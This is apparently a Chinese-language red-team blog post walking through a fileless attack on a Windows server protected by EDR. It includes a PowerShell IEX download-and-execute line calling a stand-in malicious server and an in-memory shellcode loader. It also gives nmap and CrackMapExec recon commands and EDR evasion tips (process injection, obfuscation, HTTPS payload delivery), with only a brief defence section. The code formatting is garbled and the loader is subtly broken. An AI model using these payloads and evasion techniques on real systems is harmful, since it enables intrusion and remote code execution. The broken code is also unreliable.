一、一次无文件攻击的“完美隐身”

有一次,在一次授权的红队测试中,我遇到的目标是一家金融机构,他们部署了一整套顶级的EDR产品。作为攻击者,传统的恶意软件和可执行文件很难突破这些防御。于是,我决定尝试一种更隐蔽的方式进行攻击:无文件攻击(Fileless Attack)。最终,我成功实现了目标的控制,并且从头到尾没有写入任何文件到磁盘。

无文件攻击并不是一个新概念,但它的威胁在于它几乎不依赖于传统的文件系统操作。攻击者可以直接利用内存执行代码,绕过大部分基于文件扫描的安全产品。接下来,我会从实战的角度,详细拆解无文件攻击的全过程,展示如何一步步完成目标的攻陷。

---

二、无文件攻击的核心:加载与执行

无文件攻击的关键在于如何将恶意代码加载到内存中并执行,而不触碰磁盘。通常有以下几种实现方式:

  1. 基于脚本解释器的执行:如 PowerShell、WMI、JavaScript 等。
  2. 进程注入:将恶意代码注入到合法进程中。
  3. 内存加载器:直接使用内存中的数据加载和执行代码。
  4. 逃逸技术:隐藏攻击流量或操作,比如 COM 对象劫持。

下面是一个典型的 PowerShell 无文件攻击片段,通过 Invoke-Expression 从远程加载并执行代码:

<pre><code class="language-ps1">$payload = IEX (New-Object Net.WebClient).DownloadString(&#039;http://malicious-server/payload.ps1&#039;)</code></pre>

但这只是最基础的实现形式,太过直接,很容易被检测。在实战中,我会对代码进行混淆,甚至通过加密方式进一步隐藏恶意内容。

---

三、实战环境搭建与目标探测

目标环境信息:

  • 防护工具:EDR(Endpoint Detection and Response)
  • 网络限制:仅允许 HTTP/HTTPS 出站流量
  • 操作系统:Windows Server 2019

为了模拟目标环境,我搭建了以下实验环境:

  • 攻击机:Kali Linux
  • 目标机:Windows Server 2019 + Sysmon + EDR(模拟检测机制)

我首先在目标网络中进行信息收集,使用了以下工具和方法:

  1. 使用 nmap 扫描目标开放的端口:
  2. <pre><code class="language-bash"> nmap -p- -sS -T4 192.168.1.100 `

  3. 使用内网探测工具(如 CrackMapExec)枚举 SMB 服务和共享资源:
  4. `bash crackmapexec smb 192.168.1.100 `

通过一系列探测,我发现目标服务器开放了 80 和 445 端口,其中 80 是一个 Web 应用,445 提供了文件共享服务。

---

四、Payload 构造的艺术

无文件攻击的 payload 通常需要具备几个特性:

  1. 易于加载到内存
  2. 高度混淆和免杀
  3. 支持动态加载和执行

为了实现上述目标,我设计了一个基于 PowerShell 的无文件攻击链。以下是完整的 payload:</code></pre>ps1

Base64编码后的shellcode

$encodedPayload = "TVqQAAMAAA..."

解码并加载shellcode到内存

$decodedPayload = [System.Convert]::FromBase64String($encodedPayload)

分配内存并写入shellcode

$memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decodedPayload.Length) [System.Runtime.InteropServices.Marshal]::Copy($decodedPayload, 0, $memory, $decodedPayload.Length)

创建一个线程执行shellcode

$thread = [System.Threading.Thread]::New() $thread.Start([System.Delegate]::CreateDelegate([System.Action], $memory)) <pre><code> Payload 解读:

  1. 使用 Base64 编码隐藏 shellcode,为了绕过简单的字符串匹配检测。
  2. 动态分配内存并写入 shellcode,避免使用磁盘。
  3. 使用线程执行 shellcode,进一步提高隐蔽性。

---

五、绕过检测的细节操作

无文件攻击的成功率很大程度取决于如何绕过目标的检测机制。以下是我在实战中总结的几个技巧:

1. EDR 绕过

EDR 产品主要依赖于行为检测和内存分析,常见绕过方式包括:

  • 进程伪装:将恶意代码注入到合法进程中,如 explorer.exenotepad.exe
  • 混淆指令:使用工具(如 Obfuscator)对攻击代码进行混淆。
  • 内存分块加载:将恶意代码分成多段加载,避免被完整扫描。

2. 流量隐藏

  • 使用 HTTPS 传输 payload:
  • `bash openssl req -new -x509 -keyout server.key -out server.crt -days 365 ` 配置恶意服务器的 HTTPS 支持后,EDR 很难解密流量分析具体内容。

3. 代码混淆

通过工具如 Invoke-Obfuscation 对 PowerShell 代码进行深度混淆,让检测工具难以识别原始逻辑:</code></pre>ps1 Invoke-Obfuscation -ScriptBlock { <Your PowerShell Code> } <pre><code> ---

六、检测与防御的博弈

虽然无文件攻击难以检测,但通过一些针对性的防御措施仍然可以减少被攻击的风险:

  1. 监控内存活动:使用 Sysmon 记录内存中的异常加载行为。
  2. 限制 PowerShell 权限:将 PowerShell 的执行策略设置为 AllSigned,禁止运行未签名脚本。
  3. 流量检测:拦截和分析异常的 HTTPS 流量,尤其是目标访问未知域名时。

防御脚本示例:</code></pre>ps1

使用 PowerShell 检测非正常的网络连接

Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike '192.168.*' } `

---

黑客示意图

七、无文件攻击的未来发展方向

无文件攻击的隐蔽性使其成为 APT 攻击中的常用技术。未来,我认为它可能会朝以下两个方向发展:

  1. 多平台支持:不仅局限于 Windows,还会扩展到 Linux 和 macOS。
  2. AI 对抗:攻击者可能会利用机器学习技术生成更加智能的无文件攻击代码。

黑客示意图

作为防守方,必须不断迭代防御手段,比如基于行为的检测、动态内存扫描、以及更智能的 AI 安全分析。

黑客示意图

---

八、个人实战经验分享

在多年的红队生涯中,我深刻体会到无文件攻击的强大威力。以下是我的一些经验总结:

  1. 永远不要低估目标防御的强度。攻击链的每一步都需要考虑绕过防御。
  2. 保持攻击的灵活性。根据目标环境实时调整技术细节。
  3. 攻击前的准备是关键。信息收集的深入程度直接决定了攻击的成败。

最后提醒大家,本文的所有技术仅限于合法授权的渗透测试中使用,切勿滥用,后果自负。